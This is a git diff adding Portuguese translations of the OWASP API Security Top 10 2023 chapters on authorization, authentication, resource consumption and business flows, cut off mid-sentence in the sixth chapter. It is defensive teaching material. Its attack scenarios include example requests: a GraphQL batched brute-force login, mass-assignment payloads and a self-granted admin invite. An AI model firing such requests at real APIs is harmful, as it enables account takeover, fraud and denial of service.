explorar *endpoints* de API vulneráveis a *broken object-level authorization* ao manipular o ID de um objeto enviado no pedido. Os IDs de objetos podem ser números inteiros sequenciais, UUIDs ou *strings* genéricas. Independentemente do tipo de dado, são fáceis de identificar no alvo do pedido (parâmetros do caminho ou da *string* de consulta), cabeçalhos do pedido ou até mesmo como parte do conteúdo do pedido. | Este problema é extremamente comum em aplicações baseadas em API porque o componente do servidor geralmente não acompanha completamente o estado do cliente e, em vez disso, confia mais em parâmetros como IDs de objetos, que são enviados pelo cliente para decidir a quais objetos aceder. A resposta do servidor geralmente é suficiente para entender se o pedido foi bem sucedido. | O acesso não autorizado a objetos de outros utilizadores pode resultar na divulgação de dados a partes não autorizadas, perda de dados ou manipulação de dados. Em certas circunstâncias, o acesso não autorizado a objetos também pode resultar na apropriação completa da conta. | + +## A API é vulnerável? + +A autorização de acesso ao nível do objeto é um mecanismo de controlo que +geralmente é implementado ao nível do código para validar que um utilizador só +pode aceder aos objetos aos quais deveria ter permissão para aceder. + +Cada *endpoint* de API que recebe um ID de um objeto e realiza alguma ação sobre +o objeto deve implementar verificações de autorização ao nível do objeto. As +verificações devem validar que o utilizador autenticado tem permissões para +realizar a ação solicitada sobre o objeto alvo. + +As falhas neste mecanismo geralmente conduzem à divulgação não autorizada de +informações, modificação ou destruição de todos os dados. + +Comparar o ID do utilizador da sessão atual (e.g. ao extraí-lo do token JWT) com +o parâmetro de ID vulnerável não é uma solução suficiente para resolver a falha +de Broken Object Level Authorization (BOLA). Esta abordagem pode endereçar +apenas um pequeno subconjunto de casos. + +No caso de BOLA, é por design que o utilizador tem acesso ao *endpoint*/função +da API vulnerável. A violação ocorre ao nível do objeto, através da manipulação +do ID. Se um atacante conseguir aceder a um *endpoint*/função da API ao qual não +deveria ter acesso - este é um caso de [Broken Function Level Authorization][5] +(BFLA) em vez de BOLA. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma plataforma de comércio eletrónico para criar lojas online oferece uma página +de listagem com gráficos relativos à receita das lojas. Inspecionando os pedidos +realizados pelo navegador um atacante identifica os _endpoints_ da API usados +para obter os dados a partir dos quais são gerados os gráficos bem como o seu +padrão `/shops/{shopName}/revenue_data.json`. Utilizado outro _endpoint_ da API +o atacante obtém a lista com o nome de todas as lojas. Com recurso a um _script_ +simples para substituir `{shopName}` no URL pelos nomes que constam da lista, o +atacante consegue acesso aos dados relativos às vendas de milhares de lojas +online. + +### Cenário #2 + +Um fabricante de automóveis habilitou o controlo remoto dos seus veículos +através de uma API para comunicação com o telemóvel do condutor. A API permite +ao condutor iniciar e parar o motor e trancar e destrancar as portas +remotamente. Como parte deste processo, o utilizador envia o Número de +Identificação do Veículo (VIN) para a API. No entanto, a API não valida se o VIN +representa um veículo que pertence ao utilizador autenticado, o que resulta numa +vulnerabilidade de BOLA. Um atacante pode aceder a veículos que não lhe +pertencem. + +### Cenário #3 + +Um serviço de armazenamento de documentos online permite aos utilizadores +visualizar, editar, armazenar e eliminar os seus documentos. Quando um documento +de um utilizador é eliminado, é enviada uma mutação GraphQL com o ID do +documento para a API. + +``` +POST /graphql +{ + "operationName":"deleteReports", + "variables":{ + "reportKeys":[""] + }, + "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) { + { + deleteReports(reportKeys: $reportKeys) + } + }" +} +``` + +Uma vez que o documento com o ID fornecido é eliminado sem quaisquer +verificações adicionais de permissão, um utilizador pode conseguir eliminar o +documento de outro utilizador. + +## Como Prevenir + +* Implementar um mecanismo de autorização baseado nas políticas de utilizador e + hierarquia. +* Utilizar um mecanismo de autorização para verificar se o utilizador com sessão + ativa tem permissão para realizar a ação pretendida sobre o registo. Esta + verificação deve ser feita por todas as funções que utilizem informação + fornecida pelo cliente para aceder a um registo na base de dados. +* Utilizar preferencialmente valores aleatórios e não previsíveis (e.g., GUID) + como identificador para os registos. +* Escrever testes para avaliar o correto funcionamento do mecanismo de + autorização. Não colocar em produção alterações vulneráveis que não passem nos + testes. + +## Referências + +### OWASP + +* [Authorization Cheat Sheet][1] +* [Authorization Testing Automation Cheat Sheet][2] + +### Externas + +* [CWE-285: Improper Authorization][3] +* [CWE-639: Authorization Bypass Through User-Controlled Key][4] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/pt-pt/0xa2-broken-authentication.md b/editions/2023/pt-pt/0xa2-broken-authentication.md new file mode 100644 index 000000000..3c57c44f8 --- /dev/null +++ b/editions/2023/pt-pt/0xa2-broken-authentication.md @@ -0,0 +1,140 @@ +# API2:2023 Broken Authentication + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| O mecanismo de autenticação é um alvo fácil para os atacantes, uma vez que está exposto a todos. Embora possam ser necessárias competências técnicas mais avançadas para explorar alguns problemas de autenticação, geralmente existem ferramentas de exploração disponíveis. | As conceções erradas dos engenheiros de software e de segurança sobre os limites da autenticação e a complexidade inerente da implementação tornam os problemas de autenticação prevalentes. Metodologias para detetar *broken authentication* estão disponíveis e são fáceis de criar. | Os atacantes podem obter controlo total das contas de outros utilizadores no sistema, ler os seus dados pessoais e realizar ações sensíveis em seu nome. Os sistemas têm pouca probabilidade de conseguir distinguir as ações dos atacantes das ações legítimas dos utilizadores. | + +## A API é vulnerável? + +Os _endpoints_ e fluxos de autenticação são ativos que carecem de proteção. Além +disso, mecanismos de recuperação de _password_ devem ser tratados da mesma forma +que os mecanismos de autenticação. + +Uma API é vulnerável se: + +* Permite ataques de _credential stuffing_, onde o atacante utiliza força bruta + com uma lista de nomes de utilizador e palavras-passe válidos. +* Permite ataques de força bruta a uma conta de utilizador específica, não + implementando mecanismos de mitigação como _captcha_ ou bloqueio da conta por + excesso de tentativas de autenticação falhadas. +* Permite a utilização de _passwords_ fracas. +* Envia informação de autenticação, tal como _tokens_ e _passwords_, no URL. +* Permite que os utilizadores alterem o seu endereço de email, _password_ atual + ou realizem outras operações sensíveis sem pedir a confirmação da _password_. +* Não valida a autenticidade dos _tokens_ de autenticação. +* Aceita _tokens_ JWT sem que estes sejam assinados/usando algoritmos fracos + `("alg":"none")` +* Não valida a data de expiração dos _tokens_ JWT. +* Utiliza _passwords_ em texto, não encriptadas, ou resumos fracos. +* Utiliza chaves de encriptação fracas. + +Além disso, um microsserviço é vulnerável se: + +* Outros microsserviços podem aceder a ele sem autenticação +* Utiliza tokens fracos ou previsíveis para impor autenticação + +## Exemplos de Cenários de Ataque + +## Cenário #1 + +Para realizar a autenticação do utilizador, o cliente tem de enviar um pedido de +API como o exemplo abaixo, com as credenciais do utilizador: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Se as credenciais forem válidas, é devolvido um token de autenticação que deve +ser fornecido em pedidos subsequentes para identificar o utilizador. A +quantidade de tentativas de login está sujeita a uma limitação temporal +restritiva: apenas três pedidos são permitidos por minuto. + +Para efetuar login por força bruta com a conta de uma vítima, os atores +maliciosos aproveitam o agrupamento de consultas GraphQL para contornar a +limitação temporal restritiva de pedidos, acelerando o ataque: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +## Cenário #2 + +Para atualizar o endereço de email associado à conta de um utilizador, os +clientes devem enviar um pedido API como o exemplo abaixo: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +Devido à API não exigir que os utilizadores confirmem a sua identidade +fornecendo a sua _password_ atual, atores maliciosos que consigam colocar-se +numa posição de roubar o token de autenticação podem conseguir assumir a conta +da vítima ao iniciar o processo de redefinição de senha após atualizar o +endereço de email da conta da vítima. + +## Como Prevenir + +* Certifique-se de que conhece todos os fluxos de autenticação possíveis (e.g. + móvel/web/_deeplinks_/etc.). Pergunte aos engenheiros responsáveis quais os + fluxos em falta/não identificados. +* Leia sobre os mecanismos de autenticação em uso. Certifique-se que compreende + quais e como são usados. OAuth não é um mecanismo de autenticação, assim como + também não o são as API _keys_. +* Não reinvente a roda em termos de autenticação, geração de _tokens_, + armazenamento de _passwords_. Opte pela utilização de standards. +* _Endpoints_ para recuperação de _password_ devem ser tratados como os + _endpoints_ de _login_ no que diz respeito à proteção contra ataques de força + bruta, limitação do número de pedidos e bloqueio de conta. +* Exija nova autenticação para operações sensíveis (e.g. alterar o + endereço de email do proprietário da conta/número de telefone para + autenticação de dois fatores). +* Utilize a [OWASP Authentication Cheatsheet][1]. +* Sempre que possível implemente autenticação de múltiplos fatores. +* Implemente mecanismos anti-força bruta para mitigar ataques do tipo + _credential stuffing_, dicionário e força bruta nos _endpoints_ de + autenticação. Este mecanismo deve ter configurações mais restritivas do que + para os demais _endpoints_ da API. +* Implemente [mecanismos de bloqueio de conta][2] / _captcha_ para prevenir + ataques de força bruta contra utilizadores específicos. Implemente verificação + da qualidade/força das _passwords_. +* As API _keys_ não devem ser usadas para autenticação dos utilizadores. Apenas + devem ser usadas para autenticação dos [clientes da API][3]. + +## Referências + +### OWASP + +* [Authentication Cheat Sheet][1] +* [Key Management Cheat Sheet][4] +* [Credential Stuffing][5] + +### Externas + +* [CWE-204: Observable Response Discrepancy][6] +* [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md b/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..e6573388a --- /dev/null +++ b/editions/2023/pt-pt/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,152 @@ +# API3:2023 Broken Object Property Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Moderado** : Específico Negócio | +| As APIs tendem a expor _endpoints_ que devolvem todas as propriedades do objeto. Isto é especialmente válido para APIs REST. Para outros protocolos como o GraphQL, pode ser necessário enviar pedidos elaborados para especificar que propriedades devem ser devolvidas. Identificar estas propriedades adicionais que podem ser manipuladas requer mais esforço, mas existem algumas ferramentas automatizadas disponíveis para ajudar nesta tarefa. | Inspecionar as respostas da API é suficiente para identificar informações sensíveis nas representações dos objetos devolvidos. _Fuzzing_ é geralmente usado para identificar propriedades adicionais (ocultas). Determinar se podem ser alteradas depende da elaboração de um pedido à API e da análise da resposta. Pode ser necessária uma análise de efeitos secundários se a propriedade alvo não for devolvida na resposta da API. | O acesso não autorizado a propriedades privadas/sensíveis de objetos pode resultar na divulgação de dados, perda de dados ou corrupção de dados. Em certas circunstâncias, o acesso não autorizado a propriedades de objetos pode levar a elevação de privilégios ou a apropriação parcial/completa de conta. | + +## A API é vulnerável? + +Ao permitir que um utilizador aceda a um objeto através de um _endpoint_ da API, +é importante validar que o utilizador tem acesso às propriedades específicas do +objeto que está a tentar aceder. + +Um _endpoint_ de uma API é vulnerável se: + +* O _endpoint_ da API expõe propriedades de um objeto que são consideradas + sensíveis e não devem ser lidas pelo utilizador. (anteriormente denominado: + "[Excessive Data Exposure][1]") +* O _endpoint_ da API permite que um utilizador altere, adicione ou elimine o + valor de uma propriedade sensível de um objeto ao qual o utilizador não deve + ter acesso. (anteriormente denominado: "[Mass Assignment][2]") + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma aplicação de encontros permite a um utilizador denunciar outros utilizadores +por comportamento inadequado. Como parte deste processo, o utilizador clica num +botão de 'denúncia', e é desencadeada a seguinte chamada de API: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +O endpoint da API é vulnerável porque permite que o utilizador autenticado tenha +acesso a propriedades sensíveis do utilizador denunciado, como "fullName" (nome +completo) e "recentLocation" (localização recente), que não deveriam estar +acessíveis a outros utilizadores. + +### Cenário #2 + +Uma plataforma de mercado online, que permite a um tipo de utilizadores +('anfitriões') alugar o seu apartamento a outro tipo de utilizadores +('hóspedes'), requer que o anfitrião aceite uma reserva feita por um hóspede +antes de cobrar ao hóspede pela estadia. + +Como parte deste processo, é feito um pedido de API pelo anfitrião para +`POST /api/host/approve_booking` com o seguinte conteúdo legítimo: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +O anfitrião reenvia o pedido legítimo e adiciona o seguinte conteúdo malicioso: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +O _endpoint_ da API é vulnerável porque não há validação de que o anfitrião +deve ter acesso à propriedade interna do objeto - `total_stay_price`, e o +hóspede vai ser cobrado mais do que deveria. + +### Cenário #3 + +Uma rede social baseada em vídeos curtos, impõe filtros restritivos de conteúdo +e censura. Mesmo que um vídeo carregado seja bloqueado, o utilizador pode +alterar a descrição do vídeo utilizando o seguinte pedido à API: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +Um utilizador frustrado pode reenviar o pedido legítimo e adicionar o seguinte +conteúdo malicioso: + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +O _endpoint_ da API é vulnerável porque não há validação se o utilizador deve +ter acesso à propriedade interna do objeto - `blocked`, e o utilizador pode +alterar o valor de `true` para `false` e desbloquear o seu próprio conteúdo +bloqueado. + +## Como Prevenir + +* Ao expor um objeto através de um _endpoint_ da API, certifique-se sempre de + que o utilizador deve ter acesso às propriedades do objeto que expõe. +* Evite usar métodos genéricos como `to_json()` e `to_string()`. Em vez disso, + selecione especificamente as propriedades do objeto que deseja retornar. +* Se possível, evite usar funções que automaticamente vinculem os dados + provenientes do cliente em variáveis de código, objetos internos ou + propriedades de objetos ("Mass Assignment"). +* Permita alterações apenas nas propriedades do objeto que devam ser + atualizadas pelo cliente. +* Implemente um mecanismo de validação de resposta baseado num esquema como uma + camada extra de segurança. Como parte deste mecanismo, defina e imponha que + dados são retornados por todos os métodos da API. +* Mantenha as estruturas de dados retornadas ao mínimo essencial, de acordo com + os requisitos comerciais/funcionais para o _endpoint_. + +## Referências + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Mass Assignment Cheat Sheet][3] + +### Externas + +* [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +* [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md b/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..1d9f4e933 --- /dev/null +++ b/editions/2023/pt-pt/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,177 @@ +# API4:2023 Unrestricted Resource Consumption + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Moderado** | Prevalência **Predominante** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| A exploração requer pedidos simples de API. Múltiplos pedidos concorrentes podem ser feitos a partir de um único computador local ou utilizando recursos de computação em nuvem. A maioria das ferramentas automatizadas disponíveis são projetadas para causar DoS (Negação de Serviço) através de altas cargas de tráfego, afetando a taxa de serviço das APIs. | É comum encontrar APIs que não limitam as interações do cliente ou o consumo de recursos. Pedidos de API elaborados, como aqueles que incluem parâmetros que controlam o número de recursos a serem retornados e realizam análises de estado/tempo/comprimento de resposta, devem permitir a identificação do problema. O mesmo vale para operações em quantidade. Embora os agentes maliciosos não tenham visibilidade sobre o impacto nos custos, isso pode ser inferido com base no modelo de negócios/preços dos fornecedores de serviços (e.g. fornecedor de nuvem). | A exploração pode levar a uma Negação de Serviço (DoS) devido à escassez de recursos, mas também pode resultar num aumento dos custos operacionais, como os relacionados à infraestrutura devido à maior exigência de CPU, aumento das necessidades de armazenamento em nuvem, etc. | + +## A API é vulnerável? + +Para atender aos pedidos feitos à API, são necessários recursos como largura de +banda de rede, CPU, memória e armazenamento. Às vezes, os recursos necessários +são disponibilizados por provedores de serviços por meio de integrações de API +e são pagos por pedido, como o envio de emails/SMS/chamadas telefónicas, +validação biométrica, etc. + +Uma API é vulnerável se pelo menos um dos seguintes limites estiver ausente ou +definido inadequadamente (e.g. muito baixo/alto): + +* Tempos limite de execução +* Memória máxima alocável +* Número máximo de descritores de ficheiro +* Número máximo de processos +* Tamanho máximo de upload de ficheiro +* Número de operações a serem realizadas num único pedido do cliente da API + (e.g. agrupamento GraphQL) +* Número de registros por página a serem retornados num único pedido-resposta +* Limite de gastos de provedores de serviços terceiros + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Uma rede social implementou um mecanismo de "recuperar senha" através da +verificação por SMS, permitindo que o utilizador receba um _token_ de uso único +via SMS para redefinir a sua senha. + +Uma vez que o utilizador clica em "recuperar senha", é feita uma chamada API a +partir do navegador do utilizador para a API de _back-end_: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Em seguida, nos bastidores, é feita uma chamada API do _back-end_ para uma API +de terceiros que se encarrega da entrega do SMS: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +O fornecedor de terceiros, Willyo, cobra $0.05 por este tipo de chamada. + +Um atacante escreve código que envia a primeira chamada API dezenas de milhares +de vezes. O _back-end_ prossegue e solicita à Willyo que envie dezenas de +milhares de mensagens de texto, levando a empresa a perder milhares de dólares +em questão de minutos. + +### Cenário #2 + +Um _endpoint_ de API GraphQL permite que o utilizador carregue uma foto de +perfil. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +Uma vez concluído o carregamento, a API gera múltiplas miniaturas com diferentes +tamanhos com base na imagem carregada. Esta operação gráfica consome muita +memória do servidor. + +A API implementa uma proteção tradicional de limitação de quantidade de pedidos +- um utilizador não pode aceder ao _endpoint_ GraphQL demasiadas vezes num curto +período de tempo. A API também verifica o tamanho da imagem carregada antes de +gerar as miniaturas para evitar o processamento de imagens demasiado grandes. + +Um atacante pode facilmente contornar esses mecanismos, aproveitando a natureza +flexível do GraphQL: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +Como a API não limita o número de vezes que a operação `uploadPic` pode ser +tentada, a chamada levará ao esgotamento da memória do servidor e à negação de +serviço (_Denial of Service_). + +### Cenário #3 + +Um prestador de serviços permite que os clientes descarreguem ficheiros +arbitrariamente grandes através da sua API. Estes ficheiros são mantidos em +armazenamento de objetos na nuvem e não mudam com frequência. O prestador de +serviços depende de um serviço de _cache_ para melhorar a velocidade do serviço +e manter o consumo de largura de banda baixo. O serviço de _cache_ apenas +armazena ficheiros até 15GB. + +Quando um dos ficheiros é atualizado, o seu tamanho aumenta para 18GB. Todos os +clientes do serviço começam imediatamente a descarregar a nova versão. Como não +havia alertas de custo de consumo, nem um limite máximo de custo para o serviço +de nuvem, a fatura mensal seguinte aumenta de 13 dólares, em média, para 8 mil +dólares. + +## Como Prevenir + +* Utilize uma solução que facilite a limitação de [memória][1], [CPU][2], + [número de reinícios][3], [descritores de ficheiros e processos][4], como + Containers / Código Serverless (e.g. Lambdas). +* Defina e force um tamanho máximo de dados em todos os parâmetros e conteúdos + de entrada, como comprimento máximo para _strings_, número máximo de + elementos em arrays e tamanho máximo de ficheiro para _upload_ + (independentemente de ser armazenado localmente ou na nuvem). +* Implemente um limite de frequência com que um cliente pode interagir com a API + dentro de um período temporal definido (_rate limiting_). +* A limitação de pedidos deve ser ajustada com base nas necessidades do negócio. + Alguns endpoints da API podem exigir políticas mais rigorosas. +* Limite/controle quantas vezes ou com que frequência um único + cliente/utilizador da API pode executar uma única operação (e.g. validar um + OTP ou solicitar a recuperação de senha sem visitar o URL de uso único). +* Adicione validação adequada no lado do servidor para parâmetros da + _query string_ e do corpo do pedido, especificamente aqueles que controlam o + número de resultados a serem retornados na resposta. +* Configure limites de gastos para todos os fornecedores de serviços/integrações + de API. Quando não for possível definir limites de gastos, devem ser + configurados alertas de faturamento. + +## Referências + +### OWASP + +* ["Availability" - Web Service Security Cheat Sheet][5] +* ["DoS Prevention" - GraphQL Cheat Sheet][6] +* ["Mitigating Batching Attacks" - GraphQL Cheat Sheet][7] + +### Externas + +* [CWE-770: Allocation of Resources Without Limits or Throttling][8] +* [CWE-400: Uncontrolled Resource Consumption][9] +* [CWE-799: Improper Control of Interaction Frequency][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md b/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..91039d83f --- /dev/null +++ b/editions/2023/pt-pt/0xa5-broken-function-level-authorization.md @@ -0,0 +1,103 @@ +# API5:2023 Broken Function Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Comum** : Deteção **Fácil** | Técnico **Grave** : Específico Negócio | +| Para abusar deste tipo de falha o atacante tem de realizar pedidos legítimos ao _endpoint_ da API ao qual não é suposto ter acesso como utilizadores anónimos, ordinários ou não privilegiados. _Endpoints_ expostos serão facilmente explorados. | As verificações de autorização para aceder a uma determinada função ou recurso são normalmente geridas por configuração ou ao nível da implementação. A correta implementação destes mecanismos pode tornar-se confusa, uma vez que, as aplicações modernas prevêem vários perfis ou grupos de utilizador, assim como complexos esquemas de hierarquias (e.g. sub-utilizadores, utilizadores com mais do que um perfil). É mais fácil descobrir estas falhas em APIs dado que APIs são mais estruturadas, e aceder a diferentes funções é mais previsível. | Estas falhas permitem aos atacantes aceder de forma não autorizada a certas funcionalidades. As funcionalidades administrativas são o alvo preferencial neste tipo de ataqueo que pode levar a divulgação de dados, perda de dados, ou corrupção de dados. Por último, pode dar aso a uma disrupção de serviço. | + +## A API é vulnerável? + +A melhor forma de identificar falhas de verificação de autorização de acesso a +funções é através duma análise detalhada do mecanismo de autorização, devendo +ter-se em consideração o esquema de hierarquia de utilizadores, diferentes +perfis ou grupos e questionando continuamente: + +* Utilizadores ordinários podem aceder aos _endpoints_ de administração? +* Os utilizadores podem realizar ações sensíveis (e.g. criar, modificar ou + apagar) para as quais não deveriam ter acesso, alterando simplesmente o método + HTTP (e.g. alterando de `GET` para `DELETE`)? +* Um utilizador do grupo X pode aceder a uma função reservada ao grupo Y, + adivinhando o URL do _endpoint_ e os parâmetros (e.g. + `/api/v1/users/export_all`)? + +Nunca assuma o tipo dum _endpoint_, normal ou administrativo, apenas com base no +URL. + +Apesar dos programadores poderem ter decidido expor a maioria dos _endpoints_ +administrativos sob um mesmo prefixo, e.g. `api/admins`, é comum encontrarem-se +_endpoints_ administrativos sob outros prefixos, misturados com _endpoints_ +ordinários e.g. `api/users`. + +## Exemplos de Cenários de Ataque + +### Cenário #1 + +Durante o processo de registo para uma aplicação que permite apenas a adesão +de utilizadores convidados, a aplicação móvel faz uma chamada de API para +`GET /api/invites/{invite_guid}`. A resposta contém um JSON com detalhes sobre +o convite, incluindo o perfil do utilizador e o email do utilizador. + +Um atacante duplica o pedido e manipula o método HTTP e o _endpoint_ para +`POST /api/invites/new`. Este _endpoint_ deveria ser usado apenas por +administradores através da consola de administração. O _endpoint_ não implementa +verificações de autorização de acesso à função. + +O atacante explora a falha e envia um novo convite com privilégios de +administrador: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Mais tarde, o atacante usa o convite criado maliciosamente para criar uma conta +de administrador e obter acesso total ao sistema. + +### Cenário #2 + +Uma API contém um _endpoint_ que deveria ser exposto apenas a administradores - +`GET /api/admin/v1/users/all`. Este _endpoint_ retorna os detalhes de todos os +utilizadores da aplicação e não implementa verificações de autorização de acesso +à função. Um atacante que aprendeu sobre a estrutura da API faz uma suposição +informada e consegue aceder a este _endpoint_, expondo detalhes sensíveis dos +utilizadores da aplicação. + +## Como Prevenir + +A sua API deve usar um módulo de autorização consistente e fácil de analisar, o +qual deve ser invocado por todas as funções de negócio. Frequentemente, este +tipo de proteção é oferecido por um ou mais componentes externos à lógica +aplicacional. + +* Por omissão todos os acesso devem ser negados, exigindo que permissões + específicas sejam concedidas a perfis específicos para acesso a cada função. +* Rever todos os _endpoints_ à procura de falhas ao nível da verificação de + autorização de acesso a funções, tendo sempre em consideração a lógica de + negócio da aplicação e hierarquia dos grupos. +* Assegurar que todos os controladores administrativos herdam de um controlador + administrativo base que implementa as verificações de autorização com base no + grupo/perfil do utilizador. +* Assegurar que funções administrativas num controlador ordinário implementam + elas próprias as verificações de autorização baseadas no grupo e perfil do + utilizador. + +## Referências + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### Externas + +* [CWE-285: Improper Authorization][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..e20a5553c --- /dev/null +++ b/editions/2023/pt-pt/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,113 @@ +# API6:2023 Unrestricted Access to Sensitive Business Flows + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Moderado** | Técnico **Moderado** : Específico Negócio | +| A exploração geralmente envolve entender o modelo de negócio suportado pela API, encontrar fluxos de negócio sensíveis e automatizar o acesso a esses fluxos, causando danos ao negócio. | A falta de uma visão holística da API para suportar plenamente os requisitos de negócio tende a contribuir para a prevalência deste problema. Os atacantes identificam manualmente quais recursos (e.g. _endpoints_) estão envolvidos no fluxo de trabalho alvo e como funcionam em conjunto. Se já existirem mecanismos de mitigação, os atacantes precisam encontrar uma maneira de os contornar. | Em geral, não se espera um impacto técnico significativo. A exploração pode prejudicar o negócio de diferentes maneiras, por exemplo: impedir que utilizadores legítimos comprem um produto ou levar a uma inflação na economia interna de um jogo. | + +## A API é vulnerável? + +Ao criar um _endpoint_ de API, é importante entender qual fluxo de negócio ele +expõe. Alguns fluxos de negócio são mais sensíveis do que outros, no sentido de +que o acesso excessivo a eles pode prejudicar o negócio. + +Exemplos comuns de fluxos de negócios sensíveis e o risco de acesso excessivo +associado a eles: + +* Fluxo de compra de um produto - um atacante pode comprar todo o stock de um + item de alta procura de uma só vez e revendê-lo por um preço mais alto + (scalping). +* Fluxo de criação de comentário/publicação - um atacante pode inundar o sistema + com spam. +* Realização de uma reserva - um atacante pode reservar todos os horários +* disponíveis e impedir que outros utilizadores utilizem o sistema. + +O risco de acesso excessivo pode variar entre 